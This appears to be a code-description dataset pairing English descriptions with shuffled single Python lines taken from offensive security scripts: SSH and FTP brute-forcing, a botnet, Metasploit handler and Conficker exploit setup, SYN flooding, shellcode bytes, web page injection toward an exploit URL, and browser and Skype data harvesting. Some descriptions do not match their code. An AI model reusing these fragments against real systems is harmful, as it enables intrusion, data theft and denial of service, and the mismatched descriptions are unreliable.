value iface of options iface = options.iface define the class Client class Client: If the method has_key with argument rrname of dnsRecords is True if dnsRecords.has_key(rrname): Define the function wiglePrint with argument username, password and netid def wiglePrint(username, password, netid): "If the method iptype with no argument of the function IPTEST with argument ipsrc is equal to ""PRIVATE""" if IPTEST(ipsrc).iptype() == 'PRIVATE': Call the function returnDefault with argument ftp returnDefault(ftp) Assign to pathName the pathName of options pathName = options.pathName Call the function smbBrute with arguments configFile, tgtHost, passwdFile, lhost and lport smbBrute(configFile,tgtHost,passwdFile,lhost,lport) Define the function isMessageTable with argument iphoneDB def isMessageTable(iphoneDB): Define the function spoofConn with arguments src, tgt and ack def spoofConn(src, tgt, ack): Import the library to interact with the python environment import sys Connect to the database cookiesDB and assign it to conn conn = sqlite3.connect(cookiesDB) Add the options to parser '-t', dest equals to 'thresh', type equals to 'string', help equals to 'specify threshould count' parser.add_option('-t', dest='thresh', type='int',help='specify threshold count ') Define function connScan with parameters tgtHost and tgtPort def connScan(tgtHost, tgtPort): Start block except except: Call the method start on t and assign it to child child = t.start() Import the second version of http client import urllib2 Assign to region the field 'region_name' of rec region = rec['region_name'] Define the function connect with arguments user,host,keyfile and release def connect(user,host,keyfile,release): "and ""\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c""" """\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c""" Call the method lower with no argument of fileName and assign it to fn fn = fileName.lower() Assign to diffSeq the difference of seqNum with preNum diffSeq = seqNum - preNum Call exit function with argument 0 exit(0) Assign to s the object socket with arguments AF_INET of socket and SOCK_STREAM of socket of socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) Else if the folder does not exists elif os.path.isdir(pathName) == False: Call method expect with argument PROMPT of child child.expect(PROMPT) Call the function connect with arguments user, host and password and assign it to child child = connect(user, host, password) Start the try block try: Exit the function with argument False return False Add the options to parser '-p', dest equals to 'pcapFile', type equals to 'string', help equals to 'specify pcap filename' parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename') Define the function testTTL with argument pkt def testTTL(pkt): Import the library for port scanning import nmap Assign to name the value of the function str with argument row at the position 1 name = str(row[1]) Increment unAnsReqs of one unAnsReqs = unAnsReqs + 1 "and ""\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a""" """\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a""" If the substring message is in the function str with argument row if 'message' in str(row): Assign to geoLoc the variable country geoLoc = country Define the function main def main(): Assign to data the method read with no argument of the method open with argument image with key 'src' of ab data = ab.open(image['src']).read() Assign 0 to preNum preNum = 0 Import the library to interact with the operative system import os Assign to ipsrc the src of the method getlayer with argument IP of pkt ipsrc = pkt.getlayer(IP).src Assign the value False to the variable Found Found = False For each sport in range from 1023 to 65535 for sport in range(1024,65535): Assign to params at the key 'netid' the value netid params['netid'] = netid From the library to manipulate network packets import everything from scapy.all import * Assign to downloadDB the path of 'downloads.sqlite' joined with pathName downloadDB = os.path.join(pathName, 'downloads.sqlite') Exit function with argument False return False If value Stop is true if Stop: "and ""\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10""" """\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10""" Call the function storlines of ftp with arguments 'STOR ' concatenated to page and the function open with argument page concatenated to '.tmp' ftp.storlines('STOR ' + page, open(page + '.tmp')) Call the method PortScanner with no argument and assign the result to nmScan nmScan = nmap.PortScanner() Call the method add_option with arguments '-u' dest equals to 'username' and type equals to 'string', parser.add_option('-u', dest='username', type='string', Assign to title of self the value title self.title = title For each client in botNet for client in botNet: Assign the value 0 to the variable Fails Fails = 0 import the library for instantiate a ssh function import pxssh Connect to the database skypeDB conn = sqlite3.connect(skypeDB) For each host in the method all_hosts called with no arguments of nmScan for host in nmScan.all_hosts(): Call the object OptionParser with arguments 'usage %prog ' parser = optparse.OptionParser('usage %prog '+\ Call the class Thread with arguments target equals to connect, args equal to the tuple host and user and assign it to t t = Thread(target=connect, args=(host, user,\ Call the method scan with arguments tgtHost and tgtPort on nmScan nmScan.scan(tgtHost,tgtPort) Define the function printCookies with argument cookiesDB def printCookies(cookiesDB): "Assign to padding the value ""\x90"" multiply by 150" "padding = ""\x90"" * 150" For each filename in the method listdir with argument passDir of os for filename in os.listdir(passDir): Call the method acquire with no arguments of connection_lock connection_lock.acquire() Assign to city the field 'city' city = rec['city'] Define the list PROMPT with values '# ', '>>> ', '> ' and '\$ ' PROMPT = ['# ', '>>> ', '> ','\$ '] Execute the command 'select datetime(date,\'unixepoch\'),address, text from message WHERE address>0;' on c c.execute('select datetime(date,\'unixepoch\'),address, text from message WHERE address>0;') If tgt of options is equal to None if options.tgt == None: If host is equal to None or if passwdFile is equal to None or if user is equal to None if host == None or passwdFile == None or user == None: Exit function with value tgtHosts return tgtHosts Define the function checkTTL with arguments ipsrc and ttl def checkTTL(ipsrc, ttl): Assign the value 'guest' to userName userName = 'guest' Send the messsage 'ViolentPython\r\n' connSkt.send('ViolentPython\r\\n') If ret is equal to 0 if ret == 0: Assign the value from nmScan sliced from host, 'tcp', 445 and 'state' and assign it to state state = nmScan[host]['tcp'][445]['state'] If release is equal to true if release: If __name__ equals '__main__' if __name__ == '__main__': Import the library for connections, the library to interact with the system, the library to manage time and the library containing structures import socket,sys,time,struct Assign to pcapFile the variable pcapFile of options pcapFile = options.pcapFile Call the method open with arguments 'https://wigle.net/gps/gps/main/login' and reqData of browser browser.open('https://wigle.net/gps/gps/main/login', reqData) Import the library to manage regular expressions import re Import the library to manage sockets import socket Exit function with value '' return '' Assign to username the value username of options username = options.username If the method haslayer with argument IP of pkt is equals to True if pkt.haslayer(IP): Continue the dictionary and the function with key 'credential_1'and value password 'credential_1': password}) Assign to pkts the result of the function rdpcap with argument 'fastFlux.pcap' pkts = rdpcap('fastFlux.pcap') Call the method login with userName and passWord ftp.login(userName, passWord) Call the function close of of with no argument f.close() Continue the argument with '-u -p ' '-u -p ') Call the function OpenKey with arguments key and the result of the function str with argument guid and assign it to netKey netKey = OpenKey(key, str(guid)) Assign to userName the value 'guest' userName = 'guest' Add the option -u for user with type string and help as specify password file parser.add_option('-u', dest='user', type='string',help='specify the user') For each password in the method readlines called with no arguments of pF for password in pF.readlines(): Start except block except: Exit function with value True return True Import the libraray for parsing import optparse Import the library to manipulate Pdf files import pyPdf Define the function handlePkt with argument pkt def handlePkt(pkt): Call the method sendline with argument cmd on self.session self.session.sendline(cmd) Assign to date the result of function str with argument row at position 1 date = str(row[1]) Call the method write of configFile with argument 'exploit -j -z\n' configFile.write('exploit -j -z\\n') Assign to qname the value qname of the method getlayer with argument DNSQR of pkt qname = pkt.getlayer(DNSQR).qname Assign to eth a ethernet connection with argument buf eth = dpkt.ethernet.Ethernet(buf) Assign to url the string 'http://www.syngress.com/' url = 'http://www.syngress.com/' "Assign to parser the OptionParser with argument the concatenation of""usage %prog "" and ""-p """ "parser = optparse.OptionParser(""usage %prog ""+""-p "")" Return the value s return s Connect to the database placesDB and assign it to conn conn = sqlite3.connect(placesDB) If the value of Found is True if Found: Assign to url the variable tgtURL of options url = options.tgtURL Exit the function with value recycleDir return recycleDir Join the paths of pathName and fileName and assign it to iphoneDB iphoneDB = os.path.join(pathName, fileName) Exit the function with argument imgTags return imgTags Call the object Browser with no argument from mechanize and assign it browser browser = mechanize.Browser() Assign to c the cursor of conn c = conn.cursor() Define the function main with no argument def main(): If ret is equal to 1 if ret == 1: Call the member variable tgtHost of options and assign it to host host = options.tgtHost Call the function connect with arguments host, user, password connect(host, user, password, False) Add the options to parser '-p', dest equals to 'pcapFile', type equals to 'string', help equals to 'specify pcap filename' parser.add_option('-p', dest='pcapFile', type='string',help='specify pcap filename') Connect to the database iphoneDB and assign it to conn conn = sqlite3.connect(iphoneDB) Define the function printHistory with argument placesDB def printHistory(placesDB): Call the function Open key with arguments HKEY_LOCAL_MACHINE key = OpenKey(HKEY_LOCAL_MACHINE, Assign to Stop the value False Stop = False define the method connect with argument self def connect(self): "and ""\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a""" """\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a""" Assign an empty list to dirList dirList = [] Call the function open with arguments passwdFile and 'r' and assign it to pF pF = open(passwdFile, 'r') Assign the value host to self.host self.host = host Assign to response the result of the function open with argument the concatenation of 'http://ajax.googleapis.com/', 'ajax/services/search/web?v=1.0&q=' and search_term of ab response = ab.open('http://ajax.googleapis.com/'+ 'ajax/services/search/web?v=1.0&q='+ search_term) Close the lock screenLock.close() Call the function findImages with argument url and assign it to imgTags imgTags = findImages(url) Define the function printMessage with argument msgDB def printMessage(msgDB): Call the method add_option with arguments '-u', dest equals to 'tgtURL', type equals to 'string' and help= equals to 'specify target url' parser.add_option('-u', dest='tgtURL', type='string', help='specify target url') Define the function plotIPs with argument pcap def plotIPs(pcap): Receive the response in result results = connSkt.recv(100) Increment the variable Fails of one Fails += 1 Define function setupHandler with arguments configFile, lhost and lport def setupHandler(configFile, lhost, lport): Assign to exifGPS the value exifData sliced at 'GPSInfo' exifGPS = exifData['GPSInfo'] Assign userAgent to addheaders of browser browser.addheaders = userAgent Increase addr with value '%02x ' module of the result of the function ord with argument ch addr += '%02x ' % ord(ch) Assign to sport the sport of tcp sport = tcp.sport Call the function exit with argument 0 of sys sys.exit(0) Assign to connStr the value 'ssh ' concatenated to user connStr = 'ssh ' + user +\ Call the function EnumValue with argument netKey and 5 and assign the result to the tuple n, addr and t (n, addr, t) = EnumValue(netKey, 5) Call the member variable passDir of options and assign it to passDir passDir = options.passDir Define the function bruteLogin with arguments hostname nad passwdFile def bruteLogin(hostname, passwdFile): Call the method expect on child with value a list composed of pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$' and '#' ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#',]) If fileName is equal to None if fileName == None: Assign to lport the value of lport of options lport = options.lport Open the filename with option 'wb' and assign it to save save = open(filename, 'wb') "Use the command ""SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;""" "c.execute(""SELECT datetime(begin_timestamp,'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;"")" Assign to host the value '192.168.95.179' host = '192.168.95.179' Call the function printCookies with argument cookiesDB printCookies(cookiesDB) "and ""\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30""" """\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30""" Assign to search the value r at the position 0 splitted at '&' at the position 0 search=r[0].split('&')[0] Call the method split with argument ':' on line, take the the result in position 0 and assign it to userName userName = line.split(':')[0] "Assign to net the value ""SOFTWARE\Microsoft\Windows NT\CurrentVersion"" and concatenate with next line" "net = ""SOFTWARE\Microsoft\Windows NT\CurrentVersion""+\" Call the function nmapScan with arguments tgtHost and tgtPort nmapScan(tgtHost, tgtPort) Continue the line with '@' concatenated to host concatenated to ' -i ' concatenated to keyfile concatenated to opt '@' + host + ' -i ' + keyfile + opt Call the function printPcap with argument pcap printPcap(pcap) If dport is equal to 80 if dport == 80: Call the function urlopen with argument imgRead of urllib2 and call the method read with no arguments and assign it to imgContent imgContent = urllib2.urlopen(imgSrc).read() Assign to exifData an empty dictionary exifData = {} If downloadDB is a file if os.path.isfile(downloadDB): Else if ret is more than 3 elif ret > 3: If the src of options is equal to None if options.src == None: Call the method release with no argument of connection_lock connection_lock.release() If the iface of options is equal to None if options.iface == None: Call method login with arguments host, user and password s.login(host, user, password) Define the variable ssh_newkey and assign the value 'Are you sure you want to continue connecting' ssh_newkey = 'Are you sure you want to continue connecting' Create a random source IP src = '.'.join([str(randint(1,254)) for x in range(4)]) Import the library to use regular expressions import re Assign to lhost the value of lhost of options lhost = options.lhost If lport is equal to None if lport == None: If pktCount contains the key stream if pktCount.has_key(stream): Start the try block try: Call method sendline with argument password of child child.sendline(password) Call the function connect with arguments host, user, password connect(host, user, password, False) Define the function connect with arguments host, user, password and release def connect(host, user, password, release): Start except block except: Define the function findImages with argument url def findImages(url): Take the first argument of stream splitted at ':' and assign it to src src = stream.split(':')[0] If keyword of options is equal to None if options.keyword == None: If the function dnsQRTest returns True if dnsQRTest(pkt): Start the except block except: Assign to results an empty list results = [] Call the method scan with arguments subnet and '445' of nmScan nmScan.scan(subNet, '445') Assign to ab the class anonBrowser with no arguments ab = anonBrowser() Start the finally block finally: Create an empty dictionary and assign it to ttlValues ttlValues = {} If host is equals to None or passDir is equals to None or User is equals to None if host == None or passDir == None or user == None: Import the library to manage regular expression import re For each imgTag in imgTags for imgTag in imgTags: Define function portScan with parameters tgtHost and tgtPorts def portScan(tgtHost, tgtPorts): Call the method expect with argument a list composed of the variable TIMEOUT from the library pexpect of child and assign the result to ret ret = child.expect([pexpect.TIMEOUT, \ Define the function retKML with argument ip def retKML(ip): Execute the command 'SELECT host, name, value FROM moz_cookies'on c c.execute('SELECT host, name, value FROM moz_cookies') Call the function quit with no argument from the library ftp ftp.quit() Add the option -F for passwdFile with type string and help as specify password file parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') Assign to seqNum the seq of the method getlayer with argument TCP of ans seqNum = ans.getlayer(TCP).seq Call the function sleep with argument 1 of the package time time.sleep(1) Assign an empty list to botNet botNet = [] Increment of one the pktCount at the key stream pktCount[stream] = pktCount[stream] + 1 "and ""\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25""" """\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25""" Call the method open with argument imgFileName of Image and assign the result to imgFile imgFile = Image.open(imgFileName) Call the function FTP with argument host and assign it to ftp ftp = ftplib.FTP(host) "and ""\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41""" """\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41""" if pathName is equal to None if pathName == None: If info exists if info: Assign to ssh_newkey the value 'Are you sure you want to continue' ssh_newkey = 'Are you sure you want to continue' Assign to TCPlayer the result of the function TCP with argument sport equals to 513, dport equals to 514 and ack equals to ack TCPlayer = TCP(sport=513, dport=514, ack=ack) Import the library to localize an IP import pygeoip Import the library to localize IPs import pygeoip Call the function urlencode with argument params from the library urllib and assign it reqParams reqParams = urllib.urlencode(params) From the library to manipulate paths of os import the function basename from os.path import basename Download the image imgTag and assign it to imgFileName imgFileName = downloadImage(imgTag) Call the function sid2user with argument sid and assign it to user user = sid2user(sid) Define the variable maxConnections and assign the value 5 maxConnections = 5 Create the constant THRESH and assign it to 5 THRESH = 5 Call the method write of configFile with argument 'set LHOST' concatenated to the function str with argument lhost concatenated to '\n' configFile.write('set LHOST ' + lhost + '\\n') Import everything from the library for estabilish a connection from socket import * Assign to lport the value '1337' lport = '1337' Call the function sleep with argument 5 of the package time time.sleep(5) For each row in c for row in c: Assign to placesDB the path of 'places.sqlite' joined with pathName placesDB = os.path.join(pathName, 'places.sqlite') Assign to fileName the variable fileName of options fileName = options.fileName Call method sendline with argument cmd of child child.sendline(cmd) Else else: Assign to kmlfooter the string '\n\n' kmlfooter = '\\n\\n' Assign to filename the result of the method lstrip with argument 'http://' of image with key 'src' filename = image['src'].lstrip('http://') Call the function ddosTest with arguments src, dst, iface and count ddosTest(src, dst, iface, count) Define the function findDownload with argument pcap def findDownload(pcap): Call the method findAll with argument 'img' imgTags = soup.findAll('img') Call the method open with argument url of ab and assign it to html html = ab.open(url) If the substring '.zip' is in uri and the substring 'loic' is in uri if '.zip' in uri and 'loic' in uri: For each tag and value in the method items with no arguments of info for (tag, value) in info.items(): Import the library for parsing data import optparse Import the library to create a network socket import socket For each i in the result of the function range with argument 100 for i in range(100): Call the function returnDir with no arguments and assign the result to recycledDir recycledDir = returnDir() Call the method write of configFile with argument 'set LPORT ' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n') Assign to conn_closed the value 'Connection closed by remote host' conn_closed = 'Connection closed by remote host' Define the function google with argument search_term def google(search_term): Assign to ab the class anonBrowser with no argument ab = anonBrowser() Import the library to manage socket import socket Assign to count the count of options count = options.count Call the function QueryValueEx with arguments key and 'ProfileImagePath' and assign it to the tuple value and type (value, type) = QueryValueEx(key, 'ProfileImagePath') Call function exit with argument 0 exit(0) "Create a packet pkt with source src, destination dst, UDP with destination port equals to 518 and the load equals to ""\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8""" "pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load=""\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8"")" Exit function return Start finally block finally: Call the function testForExif with argument imgFileName testForExif(imgFileName) Create a parser with OptionParser 'usage %prog -i -t ' "parser = optparse.OptionParser(""usage %prog ""+""-i -t "")" Assign 0 to diffSeq diffSeq = 0 For each pkt in pkts for pkt in pkts: Call the function botnetCommand with argument 'uname -v' botnetCommand('uname -v') Define the variable host and assign the value '192.168.95.179' host = '192.168.95.179' Calculate the state as the as the tgthost with protocol tcp on the port tgtPort with state field state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] Call the function retKML with argument dst and assign it to dstKML dstKML = retKML(dst) "and ""\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f""" """\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f""" "and ""\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b""" """\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b""" Connect to the database downloadDB and assign it to conn conn = sqlite3.connect(downloadDB) Exit the function with the tuple None and None return (None, None) Assign to the variable maxConnections the value 5 maxConnections = 5 Call function main with no arguments main() "Continue and concatenate with argument ""-F '" """-F ')" Do nothing pass Create a parser with OptionParser 'usage %prog -p ' parser = optparse.OptionParser('usage %prog -p ') Assign to the tuple options and args the result of the function parse_args with no argument of parser (options, args) = parser.parse_args() Exit the function return Concatenate the strings city, ',' and country to geoLoc geoLoc = city + ', ' + country Assign to count the value 1 count = 1 If the method of http is equal to 'GET' if http.method == 'GET': "and ""\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf""" """\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf""" Assign to rcode the value rcode of the method getlayer with argument DNS of pkt rcode = pkt.getlayer(DNS).rcode Define function send_command with arguments self and cmd def send_command(self, cmd): Call the open function with arguments page concatenated to '.tmp' and 'w' f = open(page + '.tmp', 'w') "and ""\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea""" """\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea""" Wait 1 second time.sleep(1) Assign to synPkt the IPlayer divided by the TCPlayer synPkt = IPlayer / TCPlayer Import the library to manages json files import json Call the function findall with arguments r'maplat=.*\&' and resp from re and assign it to rLon rLon = re.findall(r'maplon=.*\&', resp) For each stream in pktCount for stream in pktCount: Call the method append on botNet with argument client botNet.append(client) Call the function spoofConn with arguments srcSpoof, tgt and seqNum spoofConn(srcSpoof, tgt, seqNum) Import the library to manage urls import urllib2 Add the option of the parser p for passDir as a string with help specify directory wtih keys parser.add_option('-d', dest='passDir', type='string',help='specify directory with keys') Return the variable kml return kml Import the library to parse text import optparse Define smbBrute with arguments configFile, tgtHost, passwdFile, lhost and lport def smbBrute(configFile,tgtHost,passwdFile,lhost,lport): Call the function handlePkt with argument pkt handlePkt(pkt) Call the function send_command with argument command and assign the value to output output = client.send_command(command) Call the exit function with argument 0 exit(0) Define the function findTgts with argument subNet def findTgts(subNet): Assign to search_term the result of the function quote_pulse with argument search_term of urllib search_term = urllib.quote_plus(search_term) From the library to parse urls import urlsplit from urlparse import urlsplit If placesDB is a file if os.path.isfile(placesDB): Return the object child return child Call the method parse_args with no arguments of parser and assign the result to the tuple made of options and args (options, args) = parser.parse_args() Call the method getDocumentInfo with no argument and assign it to docInfo docInfo = pdfFile.getDocumentInfo() Assign to results the result of the function google with argument keyword results = google(keyword) "Use the command ""SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;"" on c" "c.execute(""SELECT fullname, skypename, city, country, datetime(profile_timestamp,'unixepoch') FROM Accounts;"")" Call the method write of configFile with argument 'use exploit/multi/handler\n' configFile.write('use exploit/multi/handler\\n') For each fileName in dirList for fileName in dirList: Define the method __init__ with arguments self, title, text and url def __init__(self,title,text,url): Call the function testUserAgent with argument url and userAgent testUserAgent(url, userAgent) Append to the list dnsRecords at the key rrname the value rdata dnsRecords[rrname].append(rdata) Call the exit function with argument 0 exit(0) Divide IPlayer by TCPlayer and assign it to pkt pkt = IPlayer / TCPlayer Define the function testProxy with argument url and proxy def testProxy(url, proxy): Define the function returnDir with no arguments def returnDir(): Assign to city the field 'city' city = rec['city'] Define the function injectPage with arguments ftp, page and redirect def injectPage(ftp, page, redirect): Create the tuple kml with arguments '\n', '%s\n', '\n', '%6f, %6f\n', '\n' and '\n') kml = ( '\\n', '%s\\n', '\\n', '%6f, %6f\\n', '\\n','\\n') Define the function explitTest with arguments src, dst, iface and count def exploitTest(src, dst, iface, count): Import the library to parse string import optparse Call the method write of configFile with argument 'set LPORT ' concatenated to the function str with argument lport concatenated to '\n' configFile.write('set LPORT ' + str(lport) + '\\n') Define confickerExploit with arguments configFile, tgtHost, lhost and lport def confickerExploit(configFile,tgtHost,lhost,lport): Call the function checkTTL with arguments ipsrc and ttl checkTTL(ipsrc, ttl) For each ts and buf in pcap for (ts, buf) in pcap: Call the method write of configFile with argument 'set SMBPass' concatenated to the function str with argument password concatenated to '\n' configFile.write('set SMBPass ' + str(password) + '\\n') Start except block with Exception and e except Exception, e: Start the except block except: Assign to ret the object pack with arguments '' of optparse parser = optparse.OptionParser('usage %prog ' +'-u ') Define the function printCookies with argument url def printCookies(url): "Continue the concatenation with '""http:\\\\10.10.10.112:8080\\exploit"">'" "'""http:\\\\10.10.10.112:8080\\exploit"">'" For each fileName in dirList for fileName in dirList: Assign to addr the result of the function str with argument row at the position 1 addr = str(row[1]) Assign an empty list to retList retList = [] Add the option to the parser '-p', dest equals to 'pathName', type equals to 'string' and help equals to 'specify skype profile path' parser.add_option('-p', dest='pathName', type='string',help='specify skype profile path') Call the function synFlood with arguments synSpoof and srcSpoof synFlood(synSpoof, srcSpoof) Send the packet to iface and count equals count send(pkt, iface=iface, count=count) define the constructor with arguments self, host and password def __init__(self, host, user, password): Call function setdefaulttimeout with parameter 1 setdefaulttimeout(1) Do nothing pass Assign to pcap the result of the Reader function with argument f of pcap of dpkt pcap = dpkt.pcap.Reader(f) Assign to imgSrc the value imgTag sliced at 'src' imgSrc = imgTag['src'] If rcode is equal to 3 if rcode == 3: Assign to cookiesDB the path of 'cookies.sqlite' joined with pathName cookiesDB = os.path.join(pathName, 'cookies.sqlite') Exit function with argument 'Unregistered' return 'Unregistered' "and ""\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82""" """\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82""" Change the scope of the variable Stop to global global Stop Call the method login with arguments host, user and password of s s.login(host, user, password) Call the function Thread with arguments connScan assigned to target and args equals to the tuple tgtHost and the function int with argument tgtPort and assign the result to t t = Thread(target=connScan,args=(tgtHost,int(tgtPort))) Assign the value '